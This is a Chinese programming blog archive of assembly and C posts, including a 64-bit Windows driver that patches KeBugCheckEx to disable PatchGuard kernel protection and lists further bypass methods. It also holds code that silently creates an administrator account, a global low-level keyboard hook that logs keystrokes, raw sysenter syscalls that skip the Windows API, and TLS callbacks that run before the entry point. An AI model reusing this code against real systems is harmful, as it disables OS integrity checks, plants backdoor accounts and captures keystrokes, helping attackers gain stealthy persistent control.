显示标签为“汇编语言”的博文。显示所有博文
显示标签为“汇编语言”的博文。显示所有博文

2013年1月25日星期五

64位驱动的asm与c混合编程


64位汇编的驱动环境的搭建就不说了。

汇编文件如下:

.data

EXTERN OrigKeBugCheckExRestorePointer:PROC
EXTERN KeBugCheckExHookPointer:PROC

.code

;
; Points the stack pointer at the supplied argument and returns to the caller.
;
public AdjustStackCallPointer
AdjustStackCallPointer PROC
    mov rsp, rcx
    xchg r8, rcx
    jmp rdx
AdjustStackCallPointer ENDP

;
; Wraps the overwritten preamble of KeBugCheckEx.
;
public OrigKeBugCheckEx
OrigKeBugCheckEx PROC
    mov [rsp+8h], rcx
    mov [rsp+10h], rdx
    mov [rsp+18h], r8
    lea rax, [OrigKeBugCheckExRestorePointer]
    jmp qword ptr [rax]
OrigKeBugCheckEx ENDP

END

编译命令:
ml64 lib.asm
link /lib lib.obj

上面可能有一些警告(我用ida64打开一看少了一个函数),我忽略了。请高手指点。

c文件如下:

#include <ntddk.h>
#include <ntifs.h>
#include <wdm.h>

DRIVER_UNLOAD Unload;
VOID Unload(__in PDRIVER_OBJECT DriverObject)
{

}

// Both of these routines reference the assembly code described above
extern VOID OrigKeBugCheckEx(IN ULONG BugCheckCode, IN ULONG_PTR BugCheckParameter1, IN ULONG_PTR BugCheckParameter2, IN ULONG_PTR BugCheckParameter3, IN ULONG_PTR

BugCheckParameter4);
extern VOID AdjustStackCallPointer(IN ULONG_PTR NewStackPointer, IN PVOID StartAddress, IN PVOID Argument);

// mov eax, ptr
// jmp eax
static CHAR HookStub[] = "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0";

// The offset into the ETHREAD structure that holds the start routine.
static ULONG ThreadStartRoutineOffset = 0;

// The pointer into KeBugCheckEx after what has been overwritten by the hook.
PVOID OrigKeBugCheckExRestorePointer;

VOID KeBugCheckExHook(IN ULONG BugCheckCode, IN ULONG_PTR BugCheckParameter1, IN ULONG_PTR BugCheckParameter2, IN ULONG_PTR BugCheckParameter3, IN ULONG_PTR BugCheckParameter4)
{
    PUCHAR LockedAddress;
    PCHAR  ReturnAddress;
    PMDL   Mdl = NULL;

    // Call the real KeBugCheckEx if this isn't the bug check code we're looking for.
    if (BugCheckCode != 0x109)
    {
        //DebugPrint(("Passing through bug check %.4x to %p.", BugCheckCode, OrigKeBugCheckEx));
        OrigKeBugCheckEx(BugCheckCode, BugCheckParameter1, BugCheckParameter2, BugCheckParameter3, BugCheckParameter4);
    }
    else
    {
        PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
        PVOID StartRoutine  = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset);
        PVOID StackPointer  = IoGetInitialStack();

        //DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).", PsGetCurrentThread(), StartRoutine, StackPointer, ThreadStartRoutineOffset));
        DbgPrint("拦截了0x109号蓝屏\n");
        DbgPrint("Restarting the current worker thread %p at %p (SP=%p, off=%lu).\n", PsGetCurrentThread(), StartRoutine, StackPointer, ThreadStartRoutineOffset);

        // Shift the stack pointer back to its initial value and call the routine.
        //We subtract eight to ensure that the stack is aligned properly as thread entry point routines would expect.
        AdjustStackCallPointer((ULONG_PTR)StackPointer - 0x8, StartRoutine, NULL);
    }

    // In either case, we should never get here.
    __debugbreak();
}

VOID DisablePatchProtectionSystemThreadRoutine(IN PVOID Nothing)
{
    UNICODE_STRING SymbolName;
    NTSTATUS       Status = STATUS_SUCCESS;
    PUCHAR         LockedAddress;
    PUCHAR         CurrentThread = (PUCHAR)PsGetCurrentThread();
    PCHAR          KeBugCheckExSymbol;
    PMDL           Mdl = NULL;

    RtlInitUnicodeString(&SymbolName, L"KeBugCheckEx");

    do
    {
        // Find the thread's start routine offset.
        for (ThreadStartRoutineOffset = 0; ThreadStartRoutineOffset < 0x1000; ThreadStartRoutineOffset += 4)
        {
            if (*(PVOID **)(CurrentThread + ThreadStartRoutineOffset) == (PVOID)DisablePatchProtectionSystemThreadRoutine) //DisablePatchProtection2SystemThreadRoutine
                break;
        }

        //DebugPrint(("Thread start routine offset is 0x%.4x.", ThreadStartRoutineOffset));

        // If we failed to find the start routine offset for some strange reason, then return not supported.
        if (ThreadStartRoutineOffset >= 0x1000)
        {
            Status = STATUS_NOT_SUPPORTED;
            break;
        }

        // Get the address of KeBugCheckEx.
        if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress(&SymbolName)))
        {
            Status = STATUS_PROCEDURE_NOT_FOUND;
            break;
        }

        // Calculate the restoration pointer.
        OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf);

        // Create an initialize the MDL.
        if (!(Mdl = MmCreateMdl(NULL, (PVOID)KeBugCheckExSymbol, 0xf)))
        {
            Status = STATUS_INSUFFICIENT_RESOURCES;
            break;
        }

        MmBuildMdlForNonPagedPool(Mdl);

        // Probe & Lock.
        if (!(LockedAddress = (PUCHAR)MmMapLockedPages(Mdl, KernelMode)))
        {
            IoFreeMdl(Mdl);
            Status = STATUS_ACCESS_VIOLATION;
            break;
        }

        // Set the aboslute address to our hook.
        *(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook;

        //DebugPrint(("Copying hook stub to %p from %p (Symbol %p).", LockedAddress, HookStub, KeBugCheckExSymbol));

        // Copy the relative jmp into the hook routine.
        RtlCopyMemory(LockedAddress, HookStub, 0xf);

        // Cleanup the MDL.
        MmUnmapLockedPages(LockedAddress, Mdl);

        IoFreeMdl(Mdl);
    } while (0);
   
    KeBugCheckEx(0x109,0,0,0,0);//测试专用。
}

// A pointer to KeBugCheckExHook
PVOID KeBugCheckExHookPointer = KeBugCheckExHook;

NTSTATUS DisablePatchProtection()
{
    OBJECT_ATTRIBUTES Attributes;
    NTSTATUS          Status;
    HANDLE            ThreadHandle = NULL;

    InitializeObjectAttributes(&Attributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);

    // Create the system worker thread so that we can automatically find the offset inside the ETHREAD structure to the thread's start routine.
    Status = PsCreateSystemThread(&ThreadHandle, THREAD_ALL_ACCESS, &Attributes, NULL, NULL, DisablePatchProtectionSystemThreadRoutine, NULL);

    if (ThreadHandle)
        ZwClose(ThreadHandle);

    return Status;
}

DRIVER_INITIALIZE DriverEntry;
NTSTATUS DriverEntry( __in struct _DRIVER_OBJECT  * DriverObject, __in PUNICODE_STRING  RegistryPath)
{
    NTSTATUS status = STATUS_UNSUCCESSFUL;

    //KdBreakPoint();//#define KdBreakPoint() DbgBreakPoint()
    DriverObject->DriverUnload = Unload;
   
    DisablePatchProtection();
   
    return 0;
}

关键是在source文件里面加入一行:
TARGETLIBS=lib.lib
那个文件也要复制到相应的位置。与源文件在一个目录里面。

键入bld
enter!
ok!
你看效果吧。

顺便说一下破除PatchGuard的思路:
1.改变或者添加启动模式,如安全,调试,签名等。
2.替换内核文件,那就是吧加载PatchGuard的机制给去掉。
3.从定时器队列中摘除,我没有试验成功,代码没有编译过。
4.就是本文的用到的KeBugCheckEx Hook。
5.异常处理,参考:http://uninformed.org/index.cgi?v=3&a=3&p=16
6.一些hook库。
7.其他,等你告诉我。

注释:隐藏进程的摘链,inline hook都会被PatchGuard发现。
/////////////////////////////////////////////////////////////////////
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
其实还有更简单的:

第一个办法:
在source文件中直接加入:
AMD64_SOURCES = amd64\asm.asm   #这是64位的,32位的可以改为I386_SOURCES
但是SOURCES里面就不要再加入asm.asm了。

第二个办法:
工程目录下新建一个名为amd64的文件夹,里面放置汇编文件,
然后再source里面直接添加汇编文件即可。

注意:
如果出现下面的情况:
1>d:\winddk\work\c\amd64\asm.asm(1) : error A2039:line too long
1>d:\winddk\work\c\amd64\asm.asm(1) : error A2088:END directive required at end of file
google一下说是某个版本的ml.exe问题,可能后来改进了。解决办法是:
用系统自带的记事本打开文件,一看源代码只有一行。注释:用别的编辑工具都是好好的。
在记事本里面手工格式化代码就ok!
made by correy
2013.02.18添加。

2013年1月23日星期三

ml64.asm


64位汇编怎能不会。

以前以为64位汇编和32位汇编差不多,学好32位汇编就可以了。

直到用到了,才知道还有点小麻烦。

最主要的是环境的搭建.

支持64位汇编的环境有好几个,这里就不列举了。
因为是Windows上的编程,所以要首选ml64.exe了。

暂时没有发现微软的64位汇编环境,也许孤陋寡闻,也许懒得搜索。
知道masm32的原理,那就自己来吧!

所有的产品来自微软,如:mvs,sdk,wdk,所以需要先安装以上的东西。

收集过程就不说了,假定你已经熟悉mvs和masm32了。
罗嗦一句,那些东西要来自64位的目录。

具体的编写与编译有点小区别,这就令当别论了。

实验一下:

; Sample x64 Assembly Program
; Chris Lomont 2009 www.lomont.org
extrn ExitProcess: PROC   ; external functions in system libraries
extrn MessageBoxA: PROC
.data
caption db '64-bit hello!', 0
message db 'Hello World!', 0
.code
Start PROC
  sub    rsp,28h      ; shadow space, aligns stack
  mov    rcx, 0       ; hWnd = HWND_DESKTOP
  lea    rdx, message ; LPCSTR lpText
  lea    r8,  caption ; LPCSTR lpCaption
  mov    r9d, 0       ; uType = MB_OK
  call   MessageBoxA  ; call MessageBox API function
  mov    ecx, eax     ; uExitCode = MessageBox(...)
  call ExitProcess
Start ENDP
End

编译命令:ml64 hello.asm /link /subsystem:windows /defaultlib:kernel32.lib /defaultlib:user32.lib /entry:Start

从此开始我的64位汇编之旅。

汇编很少用,有时候必须用(或者用变相的方式),因为64位不支持内联汇编。

其实最根本的还是汇编,因为机器运行的是指令,相信汇编,坚信!

2012年7月5日星期四

tls.asm


首先声明:本文搜集自网络。
tasm版本的,fasm的你就自己实现吧!
.586p
.model flat, stdcall
locals
jumps

extrn                MessageBoxA:proc
extrn                ExitProcess:proc
.data
Tls:
                     dd     offset Tls1
                     dd     offset Tls2
                     dd     offset Tls3
                     dd     offset TlsCallBack
                     dd     0
                     dd     0

Tls1                 dd     0
Tls2                 dd     0
Tls3                 dd     0
TlsCallBack          dd     offset TlsProc
                     dd     0
                     dd     0

TlsProc              proc   DllHandle:dword, reason:dword, Reserved:dword
                     cmp    reason, 1
                     jne    __skip
                     push   40h
                     push   offset mTitle
                     push   offset mText 
                     push   0
                     call   MessageBoxA
                     push   0
                     call   ExitProcess
__skip:              ret    0ch
TlsProc              endp

mText                db     "Nope, there is no code at entry point", 0
mTitle               db     "TLS", 0
                     

.code
start:
                     ret
end    start
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
masm版本的:
.386
.model   flat,stdcall
option   casemap:none
include windows.inc
include user32.inc
includelib user32.lib

.code

;; 定义一个TLS节
OPTION DOTNAME
.tls  SEGMENT 
TLS_Start LABEL DWORD
 dd 0900h dup ("0")
TLS_End LABEL DWORD
.tls ENDS
OPTION NODOTNAME

;这里需要注意的是,必须要将此结构声明为PUBLIC,用于让连接器连接到指定的位置,
;其次结构名必须为_tls_uesd这是微软的一个规定。编译器引入的位置名称也如此。
PUBLIC _tls_used
_tls_used IMAGE_TLS_DIRECTORY <TLS_Start, TLS_End, dwTLS_Index, TLS_CallBackStart, 0, 0>

dwTLS_Index        dd  ?
TLS_CallBackStart  dd  TlsCallBack0
szTitle            db  "Hello TLS",0

TlsCallBack0 proc Dllhandle:LPVOID,dwReason:DWORD,lpvReserved:LPVOID  
  .if dwReason== DLL_PROCESS_ATTACH  
    invoke MessageBox,0,addr szTitle,addr szTitle,0
  .endif
  ;在这里还可以ExitProcess。
  ret
TlsCallBack0   ENDP

Start:ret
end  Start
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
c/c++版本的:

#include <windows.h>
#include <winnt.h>
//下面这行告诉链接器在PE文件中要创建TLS目录
#pragma comment(linker, "/INCLUDE:__tls_used")
/*这是PIMAGE_TLS_CALLBACK()函数的原型,其中第一个和第三个参数保留,第二个参数决定函数在那种情况下*/
void NTAPI my_tls_callback(PVOID h, DWORD reason, PVOID pv)
{
/*一共有四个选项DLL_PROCESS_ATTACH、DLL_THREAD_ATTACH、DLL_THREAD_DETACH和DLL_PROCESS_DETACH。详见微软发布的《Microsoft Portable Executable and Common Object File Format Specification v8》*/
//仅在进程初始化创建主线程时执行的代码
if( reason == DLL_PROCESS_ATTACH ){
MessageBox(NULL,L"hi,this is tls callback",L"title",MB_OK);
}
return;
}
/*下面这段是创建一个tls段
".CRT$XLB"的含义是:
.CRT表明是使用C RunTime机制
$后面的XLB中
X表示随机的标识
L表示是TLS callback section
B可以被换成B到Y的任意一个字母,但是不能使用".CRT$XLA"和".CRT$XLZ"
因为".CRT$XLA"和".CRT$XLZ"是用于tlssup.obj的
*/
#pragma data_seg(".CRT$XLB")
/*如果要定义多个TLS_CallBack函数,可以把下面这句写成:
PIMAGE_TLS_CALLBACK p_thread_callback [] = {tls_callback_A, tls_callback_B, tls_callback_C,0};
其中tls_callback_B和tls_callback_C应该是你定义好的其他TLS_callBack函数
*/
PIMAGE_TLS_CALLBACK p_thread_callback = my_tls_callback;
#pragma data_seg()

int main(void)
{
MessageBox(NULL,L"hi,this is main()",L"title",MB_OK);
  return 0;
}

GetMessage.Asm


;一直对消息的理解不是很透彻,早就想写这样的文章。
;自己检测输出自己的信息,是不能自己建立窗口发送信息。这样会混淆消息的,是自己特意发送的,还是系统发送的,自己操作的。
;大多的实现办法是打开一个记书本,然后把信息输出到记事本里面。
;本篇文章,我自创新意,把信息输出到控制台里面。这个不错吧!
;截获消息有两个地方,一个是消息循环,一个是回调处理函数,不知到这两个那个好,经测试,大概是回调函数准确。
;其实这个想法有很久了。今天算是实现了。
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib user32.lib
includelib kernel32.lib

.code
hInstance dd ?
hWinMain dd ?
stMsg MSG <>
szClassName db "correy",0
szCaptionMain db "made by correy",0
pwndclassex dd 48,3,offset liuchunli,0,0,0,0,0,6,0,offset szClassName,0

hstdout dd 0
hstdin dd 0
x dd 0

sz_format_Message db "hwnd:%08xh  "
                  db "message:%08lxh  " 
                  db "wparam:%08lxh  "
                  db "lparam:%08lxh  "
                  db "time:%08xh  " ;//一下三个是加上的,不知正确不?
                  db "x:%08lxh  "
                  db "y:%08lxh"
                  db 13,10,0

buffer db 260 dup (0)

liuchunli proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
  lea eax,stMsg
  invoke wsprintf,addr buffer,addr sz_format_Message,hWnd,uMsg,wParam,lParam,stMsg+16,dword ptr [eax],dword ptr [eax+4]
  invoke lstrlen,addr buffer
  invoke WriteFile,hstdout,addr buffer,eax,addr x,0
  
.IF uMsg==WM_DESTROY
  invoke PostQuitMessage,0
.ELSE
  invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
liuchunli endp

start:
invoke GetStdHandle,-10
mov hstdin,eax
invoke GetStdHandle,-11
mov hstdout,eax

invoke SetConsoleTitle,addr szCaptionMain
invoke SetConsoleScreenBufferSize,hstdout,01000099h;高字是高度,低字是宽度。

invoke GetModuleHandle,0
mov hInstance,eax
mov pwndclassex+20,eax
invoke LoadIcon,hInstance,1;其实这四行也可以去掉。
mov pwndclassex+24,eax
invoke LoadCursor,0,32512
mov pwndclassex+28,eax
invoke RegisterClassEx,addr pwndclassex
invoke CreateWindowEx,200h,offset szClassName,offset szCaptionMain,0cf0000h,80000000h,80000000h,768,399,0,0,hInstance,0;0cf0000h  0ca0000h
mov hWinMain,eax
invoke ShowWindow,hWinMain,1;不想显示这一两行也可以不要。
invoke UpdateWindow,hWinMain ;此行可以去掉

again:invoke GetMessage,addr stMsg,0,0,0;invoke GetMessage,addr stMsg,0,0,0;invoke GetMessage,addr stMsg,hWinMain,0,0 ;只获取本窗口的。
  cmp eax,0
  je exit
  ;invoke TranslateMessage,addr stMsg;这一行也可以去掉,特别是不处理字符信息。  
  invoke DispatchMessage,addr stMsg
jmp again

exit:invoke ExitProcess,0
end start
;made at 2011.10.25
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib user32.lib
includelib kernel32.lib

.code
hInstance dd ?
hWinMain dd ?
stMsg MSG <>
szClassName db "correy",0
szCaptionMain db "made by correy",0
pwndclassex dd 48,3,offset liuchunli,0,0,0,0,0,6,0,offset szClassName,0

hstdout dd 0
hstdin dd 0
x dd 0

sz_format_Message db "hwnd:%08xh  "
                  db "message:%08lxh  " 
                  db "wparam:%08lxh  "
                  db "lparam:%08lxh  "
                  db "time:%08xh  "
                  db "x:%08lxh  "
                  db "y:%08lxh"
                  db 13,10,0

buffer db 260 dup (0)

liuchunli proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg==WM_DESTROY
  invoke PostQuitMessage,0
.ELSE
  invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
liuchunli endp

start:
invoke GetStdHandle,-10
mov hstdin,eax
invoke GetStdHandle,-11
mov hstdout,eax

invoke SetConsoleTitle,addr szCaptionMain
invoke SetConsoleScreenBufferSize,hstdout,01000099h;高字是高度,低字是宽度。

invoke GetModuleHandle,0
mov hInstance,eax
mov pwndclassex+20,eax
invoke LoadIcon,hInstance,1;其实这四行也可以去掉。
mov pwndclassex+24,eax
invoke LoadCursor,0,32512
mov pwndclassex+28,eax
invoke RegisterClassEx,addr pwndclassex
invoke CreateWindowEx,200h,offset szClassName,offset szCaptionMain,0cf0000h,80000000h,80000000h,768,399,0,0,hInstance,0;0cf0000h  0ca0000h
mov hWinMain,eax
invoke ShowWindow,hWinMain,1;不想显示这一两行也可以不要。
invoke UpdateWindow,hWinMain ;此行可以去掉。

again:invoke GetMessage,addr stMsg,hWinMain,0,0;invoke GetMessage,addr stMsg,0,0,0;invoke GetMessage,addr stMsg,hWinMain,0,0 ;只获取本窗口的。
  lea eax,stMsg
  invoke wsprintf,addr buffer,addr sz_format_Message,stMsg,stMsg+4,stMsg+8,stMsg+12,stMsg+16,dword ptr [eax],dword ptr [eax+4];,uMsg+24
  invoke lstrlen,addr buffer
  invoke WriteFile,hstdout,addr buffer,eax,addr x,0  
  
  cmp eax,0
  je exit
  ;invoke TranslateMessage,addr stMsg;这一行也可以去掉,特别是不处理字符信息。  
  invoke DispatchMessage,addr stMsg
jmp again

exit:invoke ExitProcess,0
end start
;made at 2011.10.25

No_dll_global_hook.Asm


;本文改编自网上的c/c++代码。
;本文的功能是没有dll实现全局的hook.
.386
.model flat,stdcall
option casemap:none

include windows.inc

include kernel32.inc
includelib kernel32.lib

include user32.inc
includelib user32.lib

.data?
buffer db 512 dup (?)

.code
hstdout dd 0
hstdin dd 0
x dd 0

correy db "made by correy",0

g_kb_hook dd 0
stMsg MSG <>

keydown db "keydown - vkCode %04x, scanCode %04x",13,10,0
keyup db "keyup - vkCode %04x, scanCode %04x",13,10,0
syskeydown db "syskeydown - vkCode %04x, scanCode %04x",13,10,0
syskeyup db "syskeyup - vkCode %04x, scanCode %04x",13,10,0

LowLevelKeyboardProc proc code:UINT, wParam:WPARAM, lParam:LPARAM
  mov eax,lParam
  .if wParam == WM_KEYDOWN
    invoke wsprintf,addr buffer,addr keydown,dword ptr [eax],dword ptr [eax + 4]
    invoke lstrlen,addr buffer
    invoke WriteFile,hstdout,addr buffer,eax,addr x,0 
  .elseif wParam == WM_KEYUP
    invoke wsprintf,addr buffer,addr keyup,dword ptr [eax],dword ptr [eax + 4]
    invoke lstrlen,addr buffer
    invoke WriteFile,hstdout,addr buffer,eax,addr x,0   
  .elseif wParam == WM_SYSKEYDOWN
    invoke wsprintf,addr buffer,addr syskeydown,dword ptr [eax],dword ptr [eax + 4]
    invoke lstrlen,addr buffer
    invoke WriteFile,hstdout,addr buffer,eax,addr x,0   
  .elseif wParam == WM_SYSKEYUP
    invoke wsprintf,addr buffer,addr syskeyup,dword ptr [eax],dword ptr [eax + 4]
    invoke lstrlen,addr buffer
    invoke WriteFile,hstdout,addr buffer,eax,addr x,0   
  .else 
    nop
  .endif
  invoke CallNextHookEx,g_kb_hook,code,wParam,lParam
  ret
LowLevelKeyboardProc endp

start:
invoke GetStdHandle,-10
mov hstdin,eax
invoke GetStdHandle,-11
mov hstdout,eax

invoke SetConsoleTitle,addr correy
invoke SetConsoleScreenBufferSize,hstdout,01000099h;高字是高度,低字是宽度。

invoke GetModuleHandle,0
invoke SetWindowsHookEx,WH_KEYBOARD_LL, addr LowLevelKeyboardProc,eax,0

again:invoke GetMessage,addr stMsg,0,0,0
  cmp eax,0
  je exit
  invoke DispatchMessage,addr stMsg
jmp again

exit:
invoke UnhookWindowsHookEx,g_kb_hook
invoke ExitProcess,0
end start
;made at 2011.10.23
;//////////////////////////////////////////////////////////////////////////////////
;下面是c/c++代码。
#include <windows.h>
HHOOK   g_kb_hook   = 0;

LRESULT CALLBACK kb_proc (int code, WPARAM w, LPARAM l)
{
  PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)l;
  const char *info = NULL;
  if (w == WM_KEYDOWN) info = "key dn";
  else if (w == WM_KEYUP) info = "key up";
  else if (w == WM_SYSKEYDOWN) info = "sys key dn";
  else if (w == WM_SYSKEYUP) info = "sys key up";

  printf ("%s - vkCode [%04x], scanCode [%04x]\n", info, p->vkCode, p->scanCode);
  return CallNextHookEx (g_kb_hook, code, w, l); 
};

int main (void)
{
  g_kb_hook = SetWindowsHookEx ( WH_KEYBOARD_LL, &kb_proc, GetModuleHandle (NULL),0)

  MSG msg;
  while (GetMessage (&msg, NULL, 0, 0))
  {
    DispatchMessage (&msg);
  };
  
  UnhookWindowsHookEx (g_kb_hook);
  
  return 0;
};

NetUserAdd.Asm

;此文是修改网上的汇编代码。修改成我喜欢的方式。
;羞于贴出来,但为了知识,还是发出来。
;此文虽小,但发现一个知识宝库,等待去挖掘。
.386
.model flat, stdcall
option casemap :none 

include windows.inc
include Netapi32.inc
includelib Netapi32.lib

.code

ui1 USER_INFO_1 <offset szUser,offset szPass,0,USER_PRIV_USER,0,0,UF_NORMAL_ACCOUNT,0>
lmi3 LOCALGROUP_MEMBERS_INFO_3 <offset szUser>
dwErr DWORD 0
szUser dw "c","o","r","r","e","y",0
szPass dw "c","o","r","r","e","y",0
szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0

start:invoke NetUserAdd,NULL, 1,addr ui1,addr dwErr
invoke NetLocalGroupAddMembers,NULL,addr szAdministrators,3,addr lmi3,1
ret ;invoke ExitProcess,0
end start 
;made at 2011,10.16

NO_API.ASM


;刚开始接触汇编的时候,心想:能不能不用中断,不用api来建立一个文件。
;今天终于在应用层实现了不用api建立文件。
;在驱动中不发送irp,不用中断能建立文件不?正在思考中!
;不足之处,敬请指导。
.386
.model flat, stdcall
option casemap:none

.data
align 4 
iosb dd 2 dup (0)
fileHandle dd 0

align 2  
szcorrey dw '\','?','?','\','c',':','\','c','o','r','r','e','y','.','t','x','t',0
align 4
fileName dw sizeof szcorrey -2
         dw sizeof szcorrey
         dd offset szcorrey
         
fileAttributes dd 18h,0,offset fileName,40h,0,0

buffer db "made by correy",13,10,
          "QQ:112426112",13,10,
          "Email:leguanyuan at 126 dot com",13,10,
          "Homepage:http://correy.webs.com",13,10,0

 .code

sysenter macro
  dw  340fh
endm

myKiFastSystemCall proc ;这个用宏实现可以不?
  mov edx,esp
  sysenter ;在2000中可以使用int 2eh
  ret
myKiFastSystemCall endp 

myCreateFile proc hProcess:dword,uExitCode:dword ,x1:dword,x2:dword,x3:dword,x4:dword,x5:dword,x6:dword,x7:dword,x8:dword,xx:dword
  pop ebp ;此处主要是栈平衡。
  mov eax,25h ;此处根据操作系统而改变。
  call myKiFastSystemCall
  retn 2ch
myCreateFile endp 

myWriteFile proc hPros:dword,uExde:dword ,sss:dword,aa:dword,aadddd:dword,aaaa:dword,ww:dword,wwww:dword,wwwwd:dword
  pop ebp
  mov eax,112h
  call myKiFastSystemCall
  retn 36 
myWriteFile endp 

myNtclose proc hros:dword
  pop ebp
  mov eax,19h
  call myKiFastSystemCall
  ret 
myNtclose endp 

start:
;int 3
;我想不用自定义函数,应该也能实现,我想这应该容易实现。
invoke myCreateFile,addr fileHandle,1F01ffh,addr fileAttributes,addr iosb,0,1,0,2,060h,0,0
invoke myWriteFile,fileHandle,0,0,0,addr iosb,addr buffer,sizeof buffer-1,0,0
invoke myNtclose,fileHandle
ret 
end start
;made at 2011.10.13

参考:夜月的Masm中调用ZwOpenSection时应该注意的问题 (1千字) http://www.pediy.com/bbshtml/BBS5/pediy50467.htm
感谢:月夜对我的众多帮助。推荐一个他的产品:惟思可视化集成开发环境。下载地址是:http://www.vsysv.com/ide。